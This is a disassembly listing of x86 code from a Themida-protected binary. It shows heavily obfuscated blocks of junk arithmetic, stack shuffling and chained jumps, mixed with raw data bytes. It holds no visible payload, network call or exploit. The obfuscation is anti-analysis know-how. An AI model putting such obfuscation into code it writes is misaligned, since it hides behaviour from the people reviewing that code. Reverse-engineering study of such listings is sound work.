loc_5A4280:				; CODE XREF: Themida_:00599BFAj
		pop	edi
		not	edi
		neg	edi
		jmp	loc_5A01D4
; ---------------------------------------------------------------------------


loc_5A428A:				; CODE XREF: Themida_:0059F6F7j
		sub	eax, 0B5310314h
		or	ebx, eax
		pop	eax
		push	eax
		mov	eax, 7FBE7F1Bh
		xor	ebx, eax
		pop	eax
		add	edx, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	4
		pop	edi
		sub	edx, edi
		jmp	loc_5A5C8D
; ---------------------------------------------------------------------------


loc_5A42C6:				; CODE XREF: Themida_:005A6A39j
		pop	esp
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5AA887
; ---------------------------------------------------------------------------
a_usN		db '_UιΕn',0
		align 2


loc_5A42E2:				; CODE XREF: Themida_:0059FBF2j
		push	eax
		push	ecx
		push	ebp
		pop	ecx
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, eax
		jmp	loc_5AEEA3
; ---------------------------------------------------------------------------


loc_5A42F5:				; CODE XREF: Themida_:005A87B9j
		mov	ecx, 4B8D1DC4h
		add	edi, ecx
		pop	ecx
		jmp	loc_5A6CEE
; ---------------------------------------------------------------------------


loc_5A4302:				; CODE XREF: Themida_:005AE2D2j
		add	esp, 4
		jmp	loc_59B35A
; ---------------------------------------------------------------------------


loc_5A430A:				; CODE XREF: Themida_:005AF590j
		push	edx
		mov	dh, ch
		mov	bh, dh
		pop	edx
		jmp	loc_599DCB
; ---------------------------------------------------------------------------
aTSib		db ')T$',8,'ιI',0
		align 2


loc_5A431E:				; CODE XREF: Themida_:005A8B6Dj
		pop	edx
		and	ebx, 4A1D701Ah
		shr	ebx, 2
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 551B21B2h
		jmp	loc_5A3F4D
; ---------------------------------------------------------------------------


loc_5A433C:				; CODE XREF: Themida_:0059D3A4j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	bl, al
		pop	eax
		xor	al, bl
		jmp	loc_5A777E
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 7A3E0500h, 159759Ah, 0D38E9D8h, 815C0000h
		dd 4ECh, 24148900h, 0F7BB5356h,	4B41F87Ch, 0CB068D0Fh
		dd 0DBF7FFFFh, 9557860Fh, 3CE9FFFFh
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A438B:				; CODE XREF: Themida_:loc_5A67ABj
		or	cl, 0A4h
		jns	loc_5A467E
		xor	cl, 6Ch
		jmp	loc_5AF519
; ---------------------------------------------------------------------------


loc_5A439C:				; CODE XREF: Themida_:0059BF64j
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5A2AA5
; ---------------------------------------------------------------------------


loc_5A43A4:				; CODE XREF: Themida_:005A827Bj
		sub	eax, 9EDD1486h
		add	ebx, eax
		pop	eax
		mov	ecx, 60E7119Fh
		push	edx
		jmp	loc_59E34C
; ---------------------------------------------------------------------------


loc_5A43B7:				; CODE XREF: Themida_:loc_599E61j
		sub	edx, 46DC0FA9h
		sub	edx, 0B1B53980h
		jmp	loc_5A1DF9
; ---------------------------------------------------------------------------


loc_5A43C8:				; CODE XREF: Themida_:0059CB3Dj
		mov	eax, [esp]
		add	esp, 4
		xchg	eax, esi
		sub	esi, 829799B8h
		push	esi
		pop	ecx
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5AAFF2
; ---------------------------------------------------------------------------


loc_5A43FA:				; CODE XREF: Themida_:00598778j
		add	al, dh
		jmp	loc_59BF77
; ---------------------------------------------------------------------------


loc_5A4401:				; CODE XREF: Themida_:005985DDj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		movsx	ecx, ax
		jmp	loc_5AB8AD
; ---------------------------------------------------------------------------


loc_5A4413:				; CODE XREF: Themida_:005A9C1Fj
		xor	edi, ebp
		jmp	loc_5A97A5
; ---------------------------------------------------------------------------
		dw 8145h
		dd 324183EDh, 5DEE0155h, 8B243487h, 8B662424h, 0EC812404h
		dd 4, 54240C89h, 5EF36859h, 34890000h, 0C1D6824h, 1C890000h
		dd 0B2D2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A444E:				; CODE XREF: Themida_:005A3DF7j
		push	dword ptr [esp]
		jmp	loc_59FF64
; ---------------------------------------------------------------------------


loc_5A4456:				; CODE XREF: Themida_:0059D14Bj
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 29E903E5h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4463:				; CODE XREF: Themida_:005ADC00j
		sub	esp, 4
		mov	[esp], edx
		pop	ecx
		pop	edx
		sub	ecx, 0BDFC9BBFh
		push	edx
		mov	edx, 2A7E6F90h
		add	ebx, edx
		jmp	loc_5A568C
; ---------------------------------------------------------------------------


loc_5A4481:				; CODE XREF: Themida_:005A7EFFj
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5AF3D2
; ---------------------------------------------------------------------------


loc_5A4498:				; CODE XREF: Themida_:0059F798j
		jz	loc_5A0659
		shl	esi, 5
		jnp	loc_5AA221
		jmp	loc_5AE70F
; ---------------------------------------------------------------------------
		dd 55E78957h, 0F7D6CD80h, 0F8C381D3h, 53B7C4B0h, 0FF85EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A44C1:				; CODE XREF: Themida_:005A9C47j
		add	ebp, 4
		jmp	loc_5A761C
; ---------------------------------------------------------------------------


loc_5A44CC:				; CODE XREF: Themida_:005A8976j
		sub	eax, esi
		jmp	loc_59A4B8
; ---------------------------------------------------------------------------


loc_5A44D3:				; CODE XREF: Themida_:005A292Cj
		xor	[esp], ebx
		jmp	loc_5A58C0
; ---------------------------------------------------------------------------
		db 31h
		dd 5904244Ch, 83BF5758h, 81724C65h, 0D8FD92EFh,	68ECE947h
		dd 0E181FFFFh, 60A75FCDh, 5D9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A44FD:				; CODE XREF: Themida_:005AE4E7j
		or	dh, 6Eh
		jb	loc_5AD1F8
		sub	dh, 0BFh
		jl	loc_5A3C70
		and	dh, 0F7h
		push	eax
		mov	al, 5Ch
		xor	al, 0A8h
		xor	al, 21h
		jmp	loc_59B8E4
; ---------------------------------------------------------------------------


loc_5A451E:				; CODE XREF: Themida_:0059B175j
		sub	esi, 88FE7D2h
		sub	ebx, 0C236EC8h
		add	ebx, esi
		add	ebx, 0C236EC8h
		pop	esi
		sub	ebx, edi
		push	ecx
		jmp	loc_5A5C00
; ---------------------------------------------------------------------------
		db 0F7h
		dd 1EC281DAh, 8168BB36h, 8471DEE2h, 1EEA8102h, 0E9C2AF56h
		dd 0A795h
; ---------------------------------------------------------------------------


loc_5A4554:				; CODE XREF: Themida_:005A02ADj
		push	32ABh
		jmp	loc_5A3FE1
; ---------------------------------------------------------------------------


loc_5A455E:				; CODE XREF: Themida_:0059C02Aj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	edi
		jmp	loc_5AEDF0
; ---------------------------------------------------------------------------
aSsr_0		db 'SιR\',0
		db 0
; ---------------------------------------------------------------------------


loc_5A4573:				; CODE XREF: Themida_:005A477Ej
		xchg	edi, ebx
		xor	[esp], ebx
		jmp	loc_5A5FEB
; ---------------------------------------------------------------------------


loc_5A457D:				; CODE XREF: Themida_:0059C824j
					; Themida_:005A2695j
		mov	esi, 0F6FCBC30h
		jmp	loc_5A0D86
; ---------------------------------------------------------------------------


loc_5A4587:				; CODE XREF: Themida_:005AD713j
		mov	eax, 73DF71FFh
		or	eax, 39AC4E82h
		jmp	loc_5A25CF
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 7F376824h, 1C890000h, 81E38924h, 4C3h, 0BE565100h, 76FA4653h
		dd 479ECE81h, 0EE81710Eh, 33B94E1Ah, 0F8748D0Fh, 0BBE9FFFFh
		dd 5AFFFFA7h, 0B151E800h, 89C9FEE1h, 2434FFF1h,	83242C8Bh
		dd 0EC8104C4h, 4, 54242C89h, 4C5815Dh, 83000000h, 0FF5504C5h
		dd 5D042474h, 8B24048Fh, 0EC812424h, 4,	0BE243489h, 4
		dd 0E95EF501h, 1C88h
; ---------------------------------------------------------------------------


loc_5A4610:				; CODE XREF: Themida_:0059D021j
		pop	edx
		add	esi, 501538E5h
		jmp	loc_5AB055
; ---------------------------------------------------------------------------


loc_5A461C:				; CODE XREF: Themida_:005AD056j
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		add	ecx, 4
		push	eax
		push	ebp
		jmp	loc_5A410C
; ---------------------------------------------------------------------------


loc_5A462F:				; CODE XREF: Themida_:0059A6C2j
		jmp	loc_5AB0E5
; ---------------------------------------------------------------------------


loc_5A4634:				; CODE XREF: Themida_:00599297j
		shr	cl, 1
		jmp	loc_59F97F
; ---------------------------------------------------------------------------


loc_5A463B:				; CODE XREF: Themida_:00599B15j
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A3817
; ---------------------------------------------------------------------------


loc_5A464E:				; CODE XREF: Themida_:loc_5AC305j
		add	edi, 8B3F063Ah
		mov	ebx, edi
		pop	edi
		sub	ebx, 0DE47EF5Ch
		jmp	loc_5A3E4C
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 41682404h, 89000071h, 0E189240Ch, 4EC81h, 2C890000h
		dd 744EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A467E:				; CODE XREF: Themida_:005A438Ej
		xor	cl, 6Ch
		jmp	loc_5A239B
; ---------------------------------------------------------------------------


loc_5A4686:				; CODE XREF: Themida_:005AA482j
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_5AD795
; ---------------------------------------------------------------------------


loc_5A4694:				; CODE XREF: Themida_:005ADC85j
		push	edx
		mov	dh, 9Ah
		sub	dh, 57h
		not	dh
		add	dh, 0B1h
		jmp	loc_5A6E91
; ---------------------------------------------------------------------------


loc_5A46A4:				; CODE XREF: Themida_:005A670Aj
		mov	ebx, 4
		sub	ebp, 4D5319CFh
		jmp	loc_599BFF
; ---------------------------------------------------------------------------


loc_5A46B4:				; CODE XREF: Themida_:005AA0CCj
		or	al, 5Bh
		jns	loc_5AB634
		dec	al
		jmp	loc_5AF356
; ---------------------------------------------------------------------------


loc_5A46C3:				; CODE XREF: Themida_:005AB636j
		xor	al, 9
		mov	ch, al
		pop	eax
		jmp	loc_5AB4AB
; ---------------------------------------------------------------------------
		db 86h,	0C8h, 0F6h
		dd 0CA8852D1h, 0FFB0D4E9h, 5BD901FFh, 3268E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A46E1:				; CODE XREF: Themida_:005A6280j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		push	66B245DAh
		jmp	loc_5A3D9E
; ---------------------------------------------------------------------------


loc_5A46F7:				; CODE XREF: Themida_:005AA3B4j
		sub	ebp, 492F8F70h
		jmp	loc_5AD6ED
; ---------------------------------------------------------------------------


loc_5A4702:				; CODE XREF: Themida_:005AE085j
		push	ebx
		mov	ebx, 62F27410h
		jmp	loc_5A8BFB
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 5EE95C24h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A471B:				; CODE XREF: Themida_:005A13A6j
		jo	loc_59B4A0
		jmp	loc_5ABE37
; ---------------------------------------------------------------------------


loc_5A4726:				; CODE XREF: Themida_:00599225j
		xor	dh, 0DCh
		sub	bl, dh
		pop	edx
		sub	bl, cl
		push	cx
		mov	ch, 0A3h
		add	bl, ch
		pop	cx
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, 0B4h
		push	cx
		jmp	loc_5A1A10
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0B46824h, 4890000h, 3BE95424h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A475B:				; CODE XREF: Themida_:005AB991j
		mov	esp, [esp]
		jmp	loc_5ADBAB
; ---------------------------------------------------------------------------


loc_5A4763:				; CODE XREF: Themida_:005987B4j
					; Themida_:0059AE6Fj
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_59F82E
; ---------------------------------------------------------------------------


loc_5A477A:				; CODE XREF: Themida_:005ADCC8j
		xchg	edi, ebx
		not	edi
		jmp	loc_5A4573
; ---------------------------------------------------------------------------


loc_5A4783:				; CODE XREF: Themida_:005AA1B0j
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A0CC7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 847E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A479D:				; CODE XREF: Themida_:005A0E9Dj
		add	ecx, 4
		push	ebp
		mov	ebp, 354227CCh
		shl	ebp, 7
		add	ebp, 5EEC1A04h
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_59A899
; ---------------------------------------------------------------------------


loc_5A47CA:				; CODE XREF: Themida_:005A3974j
		pop	eax
		jmp	loc_5AF230
; ---------------------------------------------------------------------------
aVGfeBunijobMI	db 'VΎgF₯&ξi¦oΞŒ',7,'ˆ',0
		dw 0C681h
		dd 108352E3h, 118BE681h, 0F68103E3h, 92A09ECh, 815EF121h
		dd 0A81149E9h, 0FFCD0102h, 83592434h, 0BB5304C4h, 4, 1C8BDD01h
		dd 0E6895624h, 1093B850h, 0D0F7659Bh, 0FFB1C2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4821:				; CODE XREF: Themida_:005A683Fj
		mov	edx, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		sub	ecx, 81A216Bh
		add	ecx, ebp
		jmp	loc_5ADD6C
; ---------------------------------------------------------------------------


loc_5A483A:				; CODE XREF: Themida_:005ABD44j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5AC935
; ---------------------------------------------------------------------------


loc_5A484B:				; CODE XREF: Themida_:loc_5A01C2j
		add	edx, 6BE9A803h
		jmp	loc_5A4991
; ---------------------------------------------------------------------------


loc_5A4856:				; CODE XREF: Themida_:005A9A45j
		jp	loc_59C110
		push	esi
		push	1A63h
		mov	[esp], eax
		push	esi
		jmp	loc_599865
; ---------------------------------------------------------------------------


loc_5A486B:				; CODE XREF: Themida_:005A9C7Dj
		add	esp, 4
		push	ebx
		jmp	loc_5A0F61
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 4ED81h, 2C870000h, 61E95C24h
		db 80h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A488B:				; CODE XREF: Themida_:0059B700j
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A8E54
; ---------------------------------------------------------------------------


loc_5A4898:				; CODE XREF: Themida_:005AB7B6j
		mov	ecx, 57315691h
		shr	ecx, 4
		push	ebp
		push	ecx
		mov	ecx, 50D074DAh
		neg	ecx
		jns	loc_59AA63
		xor	ecx, 4B7F7C49h
		jo	loc_5A3835
		push	ebp
		mov	ebp, 7E7E44F4h
		or	ebp, 21603C66h
		xor	ebp, 7C6E451Eh
		sub	ecx, ebp
		pop	ebp
		neg	ecx
		xor	ecx, 30C17A4Ch
		jmp	loc_59B02C
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B8240489h, 475B5800h, 0FF88EBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A48ED:				; CODE XREF: Themida_:005AF589j
		pop	esi
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_59CB00
; ---------------------------------------------------------------------------


loc_5A4903:				; CODE XREF: Themida_:00599AC7j
		pop	ecx
		jmp	loc_5AF2A7
; ---------------------------------------------------------------------------
aM0S_1		db '¬0ΨιΟ',9,0
		db 0
; ---------------------------------------------------------------------------


loc_5A4911:				; CODE XREF: Themida_:0059D798j
					; Themida_:005A8F2Bj
		push	edi
		mov	edi, 54CF55B1h
		sub	[esp+8], edi
		push	dword ptr [esp]
		pop	edi
		push	2B31h
		jmp	loc_5A2108
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0F5h
		dd 0F9B7999h, 0E924348Bh, 0FFFFAB0Ch
; ---------------------------------------------------------------------------


loc_5A4938:				; CODE XREF: Themida_:005A635Aj
		mov	al, dl
		mov	ch, al
		pop	eax
		pop	edx
		mov	ah, ch
		pop	cx
		or	ah, 1Eh
		add	ah, 15h
		push	edx
		jmp	loc_5AA17D
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF9B79h
; ---------------------------------------------------------------------------


loc_5A4954:				; CODE XREF: Themida_:005A6C08j
		pop	edx
		jmp	loc_59DC2B
; ---------------------------------------------------------------------------


loc_5A495A:				; CODE XREF: Themida_:005AA0C4j
		sub	eax, 0FD8129Eh
		jg	loc_59EFDB
		xor	eax, 1B8A5385h
		mov	edi, eax
		pop	eax
		jmp	loc_59AE1C
; ---------------------------------------------------------------------------
		db 56h
; ---------------------------------------------------------------------------


loc_5A4973:				; CODE XREF: Themida_:00599F50j
		xor	cl, 20h
		sub	cl, 0B2h
		sub	cl, 9Bh
		sub	al, cl
		pop	ecx
		add	al, ch
		push	edx
		push	ebx
		mov	bh, 0F1h
		mov	dl, bh
		jmp	loc_5A10F1
; ---------------------------------------------------------------------------


loc_5A498C:				; CODE XREF: Themida_:005AC66Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A4991:				; CODE XREF: Themida_:005A4851j
		mov	edi, edx
		mov	edx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A0C0F
; ---------------------------------------------------------------------------
		db 81h
		dd 0CE398DEBh, 76CB8166h, 0F51FE5Ch, 33D18Bh, 3E95500h
		dd 0B7FFFF3Ah, 0FC7FE93h, 0FF4A8A89h, 0B1C780FFh, 0A170830Fh
		dd 0DFF6FFFFh, 45B05066h, 0FF67EEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A49D9:				; CODE XREF: Themida_:005A618Fj
		sub	esp, 4
		jmp	loc_5AA7D2
; ---------------------------------------------------------------------------


loc_5A49E1:				; CODE XREF: Themida_:0059878Ej
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_5A5120
; ---------------------------------------------------------------------------


loc_5A49EA:				; CODE XREF: Themida_:005A5F13j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5ADC5D
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 51662BB7h, 0D1F6F988h, 9110E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4A06:				; CODE XREF: Themida_:005A1197j
		inc	edx
		jmp	loc_599E61
; ---------------------------------------------------------------------------
		dd 0E9C8015Ch, 0FFFFF32Eh
; ---------------------------------------------------------------------------


loc_5A4A14:				; CODE XREF: Themida_:005AEE28j
		pop	eax
		jmp	loc_59FD6D
; ---------------------------------------------------------------------------
		dw 0F480h
aYsN		db 'Yι,N',0
		align 2


loc_5A4A22:				; CODE XREF: Themida_:0059ED36j
					; Themida_:005AE51Fj
		pop	ecx
		inc	esi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 69F65C4h
		add	esi, edi
		pop	edi
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		push	ebx
		push	ebx
		push	ecx
		push	99372DAh
		pop	ecx
		shr	ecx, 6
		shr	ecx, 5
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 74275643h
		and	edi, 15A76411h
		jz	loc_59F6B4
		inc	edi
		xor	edi, 5DB91CE3h
		jns	loc_5AD26D
		not	edi
		push	ecx
		mov	ecx, 47D687C8h
		sub	edi, ecx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	21CFh
		mov	[esp], esp
		jmp	loc_59A4EE
; ---------------------------------------------------------------------------


loc_5A4A90:				; CODE XREF: Themida_:005A7F63j
		mov	esp, [esp]
		push	esi
		push	5E5Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A62A3
; ---------------------------------------------------------------------------


loc_5A4ABC:				; CODE XREF: Themida_:005A1966j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5AA371
; ---------------------------------------------------------------------------


loc_5A4AD0:				; CODE XREF: Themida_:0059E1E3j
		sub	eax, 71A46F59h
		sub	edi, eax
		pop	eax
		jmp	loc_5A4C4A
; ---------------------------------------------------------------------------


loc_5A4ADD:				; CODE XREF: Themida_:005AB961j
		add	eax, edx
		pop	edx
		sub	dword ptr [esp+4], 6EA8753Eh
		push	esi
		mov	esi, 1AE846F8h
		add	dword ptr [esp+8], 37380686h
		jmp	loc_5995AC
; ---------------------------------------------------------------------------


loc_5A4AFB:				; CODE XREF: Themida_:005A7557j
		add	ebx, 66942AC8h
		jmp	loc_598510
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 0C9840F03h, 8100003Fh, 241C0C3h, 5BDE8918h, 57AEC681h
		dd 830F07B7h, 0FFFF9550h, 3A1E9h, 43DA6800h, 81580000h
		dd 82034FEEh, 7AEE8116h, 5ED89CBh, 308F19EAh, 0BF57F029h
		dd 58B63ACDh, 0F703EFC1h, 4EC81D7h, 89000000h, 8DB82404h
		dd 2D649045h, 56D767D9h, 0FF64BCE9h, 1E981FFh, 81000000h
		dd 38E5FFC1h, 41C381EFh, 291D0B52h, 9BB9E9CBh, 0C281FFFFh
		dd 749C4715h, 0EEBF8C0Fh, 1FE9FFFFh
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4B8F:				; CODE XREF: Themida_:005A40ADj
		sub	esi, 768F7F10h
		add	esi, eax
		add	esi, 768F7F10h
		jmp	loc_5984FC
; ---------------------------------------------------------------------------


loc_5A4BA2:				; CODE XREF: Themida_:005996E9j
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		mov	dl, bl
		pop	ebx
		sub	bl, 68h
		sub	bl, dl
		add	bl, 68h
		pop	edx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_5A3308
; ---------------------------------------------------------------------------


loc_5A4BC1:				; CODE XREF: Themida_:0059FB4Cj
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	2EA0h
		mov	[esp], edx
		jmp	loc_5A6F73
; ---------------------------------------------------------------------------


loc_5A4BDB:				; CODE XREF: Themida_:005A3E31j
					; Themida_:005AEAF0j
		mov	esi, esp
		jmp	loc_5AD71D
; ---------------------------------------------------------------------------


loc_5A4BE2:				; CODE XREF: Themida_:005AE960j
		mov	ebx, [esp]
		add	esp, 4
		sub	[edi+20h], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4


loc_5A4BF8:				; CODE XREF: Themida_:0059BD87j
					; Themida_:005A7806j
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		jmp	loc_5A90F1
; ---------------------------------------------------------------------------


loc_5A4C04:				; CODE XREF: Themida_:005A0958j
		pop	esp
		movsx	ecx, al
		jmp	loc_5A9408
; ---------------------------------------------------------------------------


loc_5A4C0D:				; CODE XREF: Themida_:005A6D3Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5AC622
; ---------------------------------------------------------------------------


loc_5A4C1C:				; CODE XREF: Themida_:0059C012j
		pop	eax
		and	edx, 61910B7Eh
		jmp	loc_59F860
; ---------------------------------------------------------------------------
		dd 68240C89h, 79941815h, 16FAE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A4C36:				; CODE XREF: Themida_:005A17CAj
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 39h
		xor	cl, ah
		pop	eax
		push	eax
		jmp	loc_5A2D2A
; ---------------------------------------------------------------------------


loc_5A4C4A:				; CODE XREF: Themida_:005A4AD8j
		add	edx, edi
		pop	edi
		add	edx, edi
		sub	edx, 5FA1609Dh
		push	ebx
		mov	bh, al
		push	eax
		mov	eax, 0
		add	eax, 4F2647DDh
		jmp	loc_5A5067
; ---------------------------------------------------------------------------


loc_5A4C68:				; CODE XREF: Themida_:0059AC4Bj
		dec	esi
		dec	esi
		add	esi, 229972Fh
		sub	ebx, esi
		pop	esi
		jmp	loc_5A7D4A
; ---------------------------------------------------------------------------


loc_5A4C78:				; CODE XREF: Themida_:005AD291j
		xor	ecx, eax
		pop	eax
		mov	ebx, ecx
		jmp	loc_5A9C28
; ---------------------------------------------------------------------------


loc_5A4C82:				; CODE XREF: Themida_:005AA643j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, 5A5F5CF7h
		jmp	loc_5A7B25
; ---------------------------------------------------------------------------


loc_5A4C9D:				; CODE XREF: Themida_:005A3B41j
		mov	ebx, 1AA31A3h
		add	eax, ebx
		pop	ebx
		jmp	loc_5A2F3C
; ---------------------------------------------------------------------------


loc_5A4CAA:				; CODE XREF: Themida_:005AA073j
		push	60FDh
		jmp	loc_5A0EE8
; ---------------------------------------------------------------------------


loc_5A4CB4:				; CODE XREF: Themida_:005A11DEj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A99B4
; ---------------------------------------------------------------------------
		db 5Bh,	51h, 0E9h
		dd 0FFFF5F77h
; ---------------------------------------------------------------------------


loc_5A4CC4:				; CODE XREF: Themida_:0059AADDj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A5ECD
; ---------------------------------------------------------------------------


loc_5A4CD5:				; CODE XREF: Themida_:0059F93Cj
		push	3AC9h
		mov	[esp], edi
		push	ebp
		push	6CA96F5Ch
		pop	ebp
		and	ebp, 1030713Bh
		jl	loc_59D78D
		neg	ebp
		add	ebp, 48A56DFCh
		mov	edi, ebp
		pop	ebp
		neg	edi
		push	ecx
		push	esi
		push	5B576F25h
		pop	esi
		shr	esi, 8
		add	esi, 4CB20BBCh
		sub	esi, 95927013h
		mov	ecx, esi
		pop	esi
		xor	edi, ecx
		pop	ecx
		jmp	loc_5A704B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 65E94077h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4D27:				; CODE XREF: Themida_:005AC204j
		shr	ebp, 1
		add	ebp, 0D9AED867h
		add	edx, ebp
		pop	ebp
		sub	ecx, edx
		jmp	loc_5ABB37
; ---------------------------------------------------------------------------


loc_5A4D39:				; CODE XREF: Themida_:005AD9A3j
		add	ecx, 2E537FDDh
		add	ecx, edx
		sub	ecx, 2E537FDDh
		pop	edx
		push	edx
		mov	edx, 4
		add	ecx, edx
		jmp	loc_59F72B
; ---------------------------------------------------------------------------


loc_5A4D55:				; CODE XREF: Themida_:005A7697j
		sub	dh, 0F5h
		add	dh, ch
		add	dh, 0F5h
		jmp	loc_5A9A91
; ---------------------------------------------------------------------------


loc_5A4D62:				; CODE XREF: Themida_:005A9A3Aj
		push	eax
		mov	eax, 279F35BAh
		add	eax, 15BA4F9Ah
		add	eax, 0C2A67AADh
		jmp	loc_5A8567
; ---------------------------------------------------------------------------


loc_5A4D77:				; CODE XREF: Themida_:0059EE48j
		mov	ebp, 4E082551h
		inc	ebp
		add	ebp, 0B1F7DAB2h
		add	ecx, ebp
		jmp	loc_5A7D0A
; ---------------------------------------------------------------------------


loc_5A4D8A:				; CODE XREF: Themida_:005AD91Dj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A36FE
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924048Bh, 69D2h
; ---------------------------------------------------------------------------


loc_5A4DA0:				; CODE XREF: Themida_:005985F1j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5A1A48
; ---------------------------------------------------------------------------


loc_5A4DC0:				; CODE XREF: Themida_:005A5493j
		push	esi
		mov	esi, 1AC71B6Ch
		jmp	loc_5AD9DD
; ---------------------------------------------------------------------------


loc_5A4DCB:				; CODE XREF: Themida_:005AC3B9j
		mov	edx, 1F550FCBh
		jmp	loc_5A02B9
; ---------------------------------------------------------------------------
		db 0Fh,	88h, 90h
		dd 68FFFFE2h, 79D3h, 0BF243C89h, 4FEA3936h, 4EC81h, 1C890000h
		dd 0C1E95424h, 0ACFFFF9Bh, 168D830h, 89000029h,	0EC83242Ch
		dd 24248904h, 4B951h, 4C010000h, 8B590424h, 0C481242Ch
		dd 4, 0FF6BE4E9h, 78F581FFh, 812FB671h,	0E09843C5h, 0F6C68154h
		dd 163660Ah, 0F6EE81EEh, 5D63660Ah, 9FBC681h, 0D6016020h
		dd 9FBEE81h, 41E96020h
		db 7Fh,	2 dup(0)
